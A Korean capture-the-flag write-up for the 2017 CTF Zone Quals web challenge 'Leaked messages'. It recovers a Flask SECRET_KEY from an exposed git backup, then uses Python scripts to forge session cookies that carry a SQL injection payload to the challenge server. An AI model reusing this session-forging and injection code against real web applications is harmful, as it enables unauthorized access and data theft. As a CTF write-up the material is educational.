Uiseong Park zairo

Write-up

2017 CTF Zone Quals

Table of Contents


2017 CTF Zone Quals 예선 Write-up

(WEB) Leaked messages

문제에서 주어진 페이지에 /backup/ 경로로 게싱을 통해서 들어가면 위와 같이 디렉토리 리스팅이 된다.

해당 파일들을 잘 살펴보면 /backup/ 하위에 있는 파일들이 git 관련 파일임을 알 수 있다.

따라서 wget -r --no-parent http://82.202.204.104/backup/ 명령을 이용하여 해당 페이지의 하위 파일을 모두 다운로드 받는다.

다운로드 받은 backup 경로를 위와 같이 .git으로 변경한 후, git log를 살펴본다.

처음엔 flag.txt가 해당 문제의 flag인 줄 알았지만 낚시다. 따라서 해당 페이지의 소스코드가 없을까 살펴보았는데, 위와 같이 config.pyc가 존재하는 것을 확인할 수 있었다.

git --work-tree=./working reset --hard HEAD~ 명령을 통해 파일을 reset 시켜 복원(?)시킬 수 있다. 위와 같이 config.pyc가 생성된 것을 확인하였다.

pycpython 소스코드로 디컴파일 할 수 있으므로 이를 pycdc를 이용하여 디컴파일 해보았다.

config.py에는 해당 flask 웹 서버의 SECRET_KEY를 가지고 있었고, 이 SECRET_KEY를 이용하여 세션을 복호화 할 수 있다.

from hashlib import sha1
from flask.sessions import session_json_serializer
from itsdangerous import URLSafeTimedSerializer

s = URLSafeTimedSerializer(
    '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d', salt='cookie-session',
    serializer=session_json_serializer,
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha1}
)

current_session = "eyJudW1iZXIiOiIzMjY0MTAwMzE1MjQiLCJ1c2VybmFtZSI6InphaXJvIn0.DE2u5g.vNHPHf0IUjVrx-e06keel8Ru3xQ"
print "[*] Current Session is - ["+current_session+"]"

session_data = s.loads(current_session)
print "[*] Decrypted Session is - ["+repr(session_data)+"]"

위와 같이 SECRET_KEY를 통해 세션을 복호화 할 수 있고 반대로 암호화도 할 수 있다. 따라서 세션을 변조하여 보내는 것도 가능하다.

세션에서 number에 해당하는 값을 변조하여 SQL Injection이 되는 것을 확인할 수 있었다.

from hashlib import sha1
from flask.sessions import session_json_serializer
from itsdangerous import URLSafeTimedSerializer
import requests

def send_payload(payload):
    s = URLSafeTimedSerializer(
        '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d', salt='cookie-session',
        serializer=session_json_serializer,
        signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha1}
    )

    session_data = {u'username': u'zairo', u'number': payload}
    print "[*] Your Session is - ["+repr(session_data)+"]"

    session = s.dumps(session_data)
    print "[*] Encrypted Session is - ["+session+"]"
    print "\n--------------- [recv data] ---------------\n"
    url = "http://82.202.204.104/messages"
    headers = {"Cookie":"session="+session}
    r = requests.get(url, headers= headers)
    data = r.text
    data = data[data.find('<span class="message">')+len('<span class="message">'):]
    data = data[:data.find('</span>')]

    return data

print send_payload(u"'union SELECT message FROM messages WHERE message LIKE '%http%'-- ")
print "\n-------------------------------------------\n"

세션의 number 값을 변조하여 SQL Injection을 통해 위와 같은 링크를 얻을 수 있었다.

해당 링크로 접속해보면 위와 같은 이미지를 얻을 수 있는데..

너무 흐려서 잘 보이지 않는다. 여러 번 시도 후, 겨우 flag를 인증 할 수 있었다.

flag: ctfzone{b1d4207ff1966105af775cfa71d8214d}

Written by Uiseong Park (zairo)

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.